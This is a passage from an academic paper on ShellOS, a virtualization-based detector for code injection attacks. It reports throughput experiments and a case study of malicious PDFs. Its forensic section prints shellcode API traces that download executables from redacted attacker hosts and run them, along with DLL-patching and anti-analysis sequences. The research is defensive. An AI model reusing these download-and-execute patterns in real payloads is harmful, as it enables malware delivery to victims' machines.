lyze traffic from the connection initiator, as we are target-
ing code injection attacks on network services. We ana-
lyze up to one megabyte of a network connection (from
the initiator) and set an execution threshold of 60k in-
structions (see section §5.1). Neither ShellOS or Nemu
perform any instruction chain pruning (e.g. we try exe-
cution from every position in every buffer) and use only
a single cpu core.

Figure 6 shows the results of the network experi-
ments. The bottom subplot shows the traffic throughput
generated over the course of both 1-hour experiments.
The 100Mbps experiment actually fluctuates from 100-

160Mbps, while the 350Mbps experiment nearly reaches
500Mbps at some points. The top subplot depicts the
number of buffers analyzed over time for both ShellOS
and Nemu with both experiments. Note that one buffer
is analyzed for each connection containing data from the
connection initiator. The plot shows that the maximum
number of buffers per second for Nemu hovers around
75 for both the 100Mbps and 350Mbps experiments with
significant packet loss observed in the middle subplot.
ShellOS is able to process around 250 buffers per sec-
ond in the 100Mbps experiment with zero packet loss and
around 750 buffers per second in the 350Mbps experi-
ment with intermittent packet loss. That is, ShellOS
is able to process all buffers with 1 CPU core, with-
out loss, on a network with sustained 100Mbps network
throughput, while ShellOS is on the cusp of its maxi-
mum throughput on 1 CPU core on a network with sus-
tained 350Mbps network throughput (and spikes up to
500Mbps). In these tests, we received no false positives
for either ShellOS or Nemu.

Our experimental network setup, unfortunately, is not
currently able to generate sustained throughput greater
than the 350Mbps experiment. Therefore, to demonstrate
ShellOS’ scalability in leveraging multiple CPU cores,
we instead turn to an analysis of the libnids packet
queue size in the 350Mbps experiment. We fix the max-
imum packet queue size at 100k, then run the 350Mbps
experiment 4 times utilizing 1, 2, 4, and 14 cores. When
the packet queue size reaches the maximum, packet loss
occurs. The average queue size should be as low as pos-
sible to minimize the chance of packet loss due to sud-
den spikes in network traffic, as observed in the middle
subplot of Figure 6 for the 350Mbps ShellOS exper-
iment. Figure 7 shows the CDF of the average packet
queue size over the course of each 1-hour experiment run
with a different number of CPU cores. The figure shows
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Figure 6: ShellOS network throughput performance.

that using 2 cores reduces the average queue size by an
order of magnitude, 4 cores reduces average queue size
to less than 10 packets, and 14 cores is clearly more than
sufficient for 350Mbps sustained network traffic. This
evidence suggests that multi-core ShellOS may be ca-
pable of monitoring links with much greater throughput
than we were able to generate in our experiments.
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5.3 Case Study: PDF Code Injection

We now report on our experience using this framework to
analyze a collection of 427 malicious PDFs. These PDFs
were randomly selected from a larger subset of suspi-
cious files flagged by a large-scale web malware detec-
tion system. Each PDF is labeled with a Common Vul-
nerability Exposure (CVE) number (or “Unknown” tag).
Of these files, 22 were corrupted, leaving us with a total
of 405 files for analysis. We also use a collection of 179
benign PDFs from various USENIX conferences.

We launch each document with Adobe Reader and at-
tach the memory facility to that process. We then snap-
shot the heap as the document is rendered, and wait un-
til the heap buffers stop growing. 374 of the 405 mali-
cious PDFs resulted in a unique set of buffers. ShellOS
is then signaled that the buffers are ready for inspec-
tion. Note that we only generate the process layout once
per application (e.g., Reader), and subsequent snapshots
only contain the heap buffers.

Figure 8 shows the size distribution of heap buffers
extracted from benign and malicious PDFs. Notice that
≈ 60% of the buffers extracted from malicious PDF are
512K long. This striking feature can be attributed to
the heap allocation strategy used by the Windows OS,
whereby chunks of 512K and higher are memory aligned
at 64K boundaries. As noted by Ding et al. [7], attack-
ers can take advantage of this alignment to increase the
success rate of their attacks (e.g., by providing a more
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predictable landing spot for the shellcode when used in
conjunction with large NOP-sleds).

CVE Detected
CVE-2007-5659 2
CVE-2008-2992 10
CVE-2009-4324 12
CVE-2009-2994 1
CVE-2009-0927 33
CVE-2010-0188 53
CVE-2010-2883 70
Unknown 144

Table 2: CVE Distribution for Detected Attacks

Table 2 provides a breakdown of the corresponding
CVE listings for the 325 unique code injection attacks we
detected. Interestingly, we were able to detect 70 attacks
using Return Oriented Programming (ROP) because of
their second-stage exploit (CVE-2010-2883) triggering
the PEB heuristic. We verified these attacks used ROP
through subsequent manual analysis of the javascript in-
cluded in the PDFs and reiterate that our current runtime
heuristics do not directly detect ROP code, but that in
all the examples we observed using ROP, control was al-
ways transferred to non-ROP shellcode to perform the
primary actions of the attack. We believe that in the fu-
ture the flexibility of ShellOS’ ability to load arbitrary
process snapshots may be leveraged to correctly execute,
detect, and diagnose ROP by iterating the stack pointer
(instead of the IP) over a buffer and issuing a ret in-
struction to test every position of a buffer for ROP. This
may be critical as attackers become more adapt at craft-
ing ROP-only code injection attacks.

Figure 9 depicts the CDF for extracting heap objects
from malicious and benign documents. The time distri-
bution for malicious documents is further broken down
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by “ROP-based” (i.e., CVE-2010-2883) and other ex-
ploits. The group labeled other performed more tradi-
tional heap-spray attacks with self-contained shellcode,
and is not particularly interesting (at least, from a foren-
sic standpoint). In either case, we were able to extract
approximately 98% of the buffers within 26 seconds. For
the benign files, extraction took less than 5 seconds for
98% of the documents. The low processing time of the
benign case is because the buffers are allocated just once
when the PDF is rendered on open, as opposed to hun-
dreds of heap objects created by the embedded javascript
that performs the heap-sprays.
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Figure 10: Breakdown of average time of analysis.

The overall time for performing our analyses is given
in Figure 10. Notice that the majority of the time
can be attributed to buffer extraction. Once signalled,
ShellOS analyzes the buffers at high speed. The av-
erage time to analyze a benign PDF (the common case,



hopefully) is 5.46 seconds with our unoptimized code.
We remind the reader that the framework we provide

is not tied to any particular method of buffer extraction.
To the contrary, ShellOS executes any arbitrary buffer
supplied by the analyst and reports if the desired heuris-
tics are triggered. In this case-study, we simply chose to
highlight the usefulness of ShellOS with buffers pro-
vided by our own PDF pre-processor.

Next, we describe some of the patterns we observed
lurking within PDF-based code injection attacks.

5.4 Forensic Analysis
Recall that once injected code is detected, ShellOS
continues to allow execution to collect diagnostic traces
of Windows API calls before returning a result. In the
majority of cases, the diagnostics completed successfully
for the PDF dataset. Of the diagnostics performed in the
other category, we found that 85% of the injected code
exhibited an identical API call sequence:

begin snippet

LoadLibraryA("urlmon")
URLDownloadToCacheFile(

URL = "http://(omitted).cz.cc/
out.php?a=36&p=5",

CacheFile = "%tmp%")
CreateProcessA(App = "%tmp%", Cmd = (null))
TerminateThread(Thread = -2, ExitCode = 0)

end snippet

The top level domains were always cz.cc and
the GET request parameters varied only in numerical
value. We also observed that all of the remaining
PDFs in the other category (where diagnostics suc-
ceeded) used either the URLDownloadToCacheFile
or URLDownloadToFile API call to download a file,
then executed it with CreateProcessA, WinExec,
or ShellExecuteA. Two of these shellcodes at-
tempted to download several binaries from the same do-
main, and a few of the requested URLs contained obvi-
ous text-based information pertinent to the exploit used,
e.g. exp=PDF (Collab), exp=PDF (GetIcon),
or ex=Util.Printf – presumably for bookkeeping
in an overall diverse attack campaign.

Two of the self-contained payloads were only partially
analyzed by the diagnostics, and proved to be quite inter-
esting. The partial call trace for the first of these is given
in Figure 11. Here, the injected code allocates space on
the heap, then copies code into that heap area. Although
the code copy is not apparent in the API call sequence
alone, ShellOS may also provide an instruction-level
trace (when requested by the analyst) by single-stepping
each instruction via the TRAP bit in the flags register. We
observed the assembly-level copies using this feature.

The code then proceeds to patch several DLL functions,
partially observed in this trace by the use of API calls to
modify page permissions prior to patching, then resetting
them after patching. Again, the assembly-level patching
code is only observable in a full instruction trace. Finally,
the shellcode performs the conventional URL download
and executes that download.

begin snippet

GlobalAlloc(Flags = 0x0, Bytes = 8192)
VirtualProtect(Addr = 0x7c86304a, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x7c86304a, Size = 4096,

Protect = 0x20)
LoadLibraryA("user32")
VirtualProtect(Addr = 0x77d702d3, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x77d702d3, Size = 4096,

Protect = 0x20)
LoadLibraryA("ntdll")
VirtualProtect(Addr = 0x7c918c2e, Size = 4096,

Protect = 0x40)
VirtualProtect(Addr = 0x7c918c2e, Size = 4096,

Protect = 0x20)
LoadLibraryA("urlmon")
URLDownloadToCacheFile(

URL = "http://www.(omitted).net/file.exe",
CacheFile = "%tmp%")

CreateProcessA(App=(null), Cmd="cmd /c %tmp%")
...

end snippet

Figure 11: More complex shellcode in a PDF

The second interesting case challenges our prototype
diagnostics by applying some anti-analysis techniques.
The partial API call sequence observed follows:

begin snippet

GetFileSize(hFile = 0x4)
GetTickCount()
GlobalAlloc(Flags = 0x40, Bytes = 4) = buf*
ReadFile(hFile = 0x0, Buf* = buf*, Len = 4)
...continues to loop in this sequence...

end snippet

Figure 12: Analysis-resistant Shellcode

As ShellOS does not currently address context-
sensitive code, we have no way of providing the file size
expected by this code. Furthermore, we do not provide
the required timing characteristics for this particular se-
quence as our API call handlers merely attempt to pro-
vide a ‘correct’ value, with minimal behind-the-scenes
processing. As a result, this sequence of API calls is re-
peated in an infinite loop, preventing further automated
analysis. We note, however, that this particular challenge
is not unique to ShellOS.

Of the 70 detected ROP-based exploit PDFs, 87% of
the second stage payloads adhered to the following API
call sequence:



begin snippet

LoadLibraryA("urlmon")
LoadLibraryA("shell32")
GetTempPathA(Len = 64, Buffer = "C:\TEMP\")
URLDownloadToFile(

URL = "http://(omitted).php?
spl=pdf_sing&s=0907...(omitted)...FC2_1
&fh=",
File = "C:\TEMP\a.exe")

ShellExecuteA(File = "C:\TEMP\a.exe")
ExitProcess(ExitCode = -2),

end snippet

Figure 13: Typical second stage of a ROP-based PDF
code injection attacks observed using ShellOS.

Of the remaining payloads, 6 use an API not yet sup-
ported in ShellOS, while the others are simple variants
on this conventional URL download pattern.

6 Limitations

Code injection attack detection based on run-time anal-
ysis, whether emulated or supported through direct CPU
execution, generally operates as a self-sufficient black-
box wherein a suspicious buffer of code or data is sup-
plied, and a result returned. ShellOS attempts to pro-
vide a run-time environment as similar as possible to that
which the injected code expects. That said, we cannot
ignore the fact that shellcode designed to execute un-
der very specific conditions may not operate as expected
(e.g., non-self-contained [19, 26], context-keyed [11],
and swarm attacks [5]). We note, however, that by requir-
ing more specific processor state, the attack exposure is
reduced, which is usually counter to the desired goal —
that is, exploiting as many systems as possible. The same
rational holds for the use of ROP-based attacks, which
require specific data being present in memory.

More specific to our framework is that we cur-
rently employ a simplistic approach for loop detection.
Whereas software-based emulators are able to quickly
detect and (safely) exit an infinite loop by inspecting pro-
gram state at each instruction, we only have the opportu-
nity to inspect state at each clock tick. At present, the
overhead associated with increasing timer frequency to
inspect program state more often limits our ability to exit
from infinite loops more quickly. In future work, we plan
to explore alternative methods for safely pruning such
loops, without incurring excessive overhead.

Furthermore, while employing hardware virtualization
to run ShellOS provides increased transparency over
previous approaches, it may still be possible to detect a
virtualized environment through the small set of instruc-
tions that must still be emulated. We note, however, that
while ShellOS currently uses hardware virtualization
extensions to run along side a standard host OS, only im-

plementation of device drivers prevents ShellOS from
running directly as the host OS. Running directly as the
host OS could have additional performance benefits in
detecting code injection for network services. We leave
this for future work.

Finally, ShellOS provides a framework for fast de-
tection and analysis of a buffer, but an analyst or auto-
mated data pre-processor (such as that presented in §5)
must provide these buffers. As our own experience has
shown, doing so can be non-trivial, as special attention
must be taken to ensure a realistic operating environment
is provided to illicit the proper execution of the sample
under inspection. This same challenge holds for all VM
or emulation-based detection approaches we are aware
of (e.g., [6, 8, 10, 31]). Our framework can be extended
to benefit from the active body of research in this area.

7 Conclusion

In this paper, we propose a new framework for en-
abling fast and accurate detection of code injection at-
tacks. Specifically, we take advantage of hardware virtu-
alization to allow for efficient and accurate inspection of
buffers by directly executing instruction sequences on the
CPU. Our approach allows for the modular use of exist-
ing run-time heuristics in a manner that does not require
tracing every machine-level instruction, or performing
unsafe optimizations. In doing so, we provide a foun-
dation that defenses for code injection attacks can build
upon. We also provide an empirical evaluation, spanning
real-world attacks, that aptly demonstrates the strengths
of our framework.

Code Availability

We anticipate that the source code for the ShellOS ker-
nel and our packaged tools will be made available under
a BSD license for research and non-commercial uses.
Please contact the first author for more information on
obtaining the software.
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Notes
1See, for example, “Sophisticated, targeted malicious PDF doc-

uments exploiting CVE-2009-4324” at http://isc.sans.edu/
diary.html?storyid=7867.

2See the discussion at https://bugs.launchpad.net/
qemu/+bug/661696, November, 2010.

3We reset registers via popa and fxrstor instructions, while
memory is reset by traversing page table entries and reloading pages
with the dirty bit set.

4The TAPiON engine is available at http://pb.
specialised.info/all/tapion/.

5We update this network trace with payload byte distributions col-
lected in 2011.
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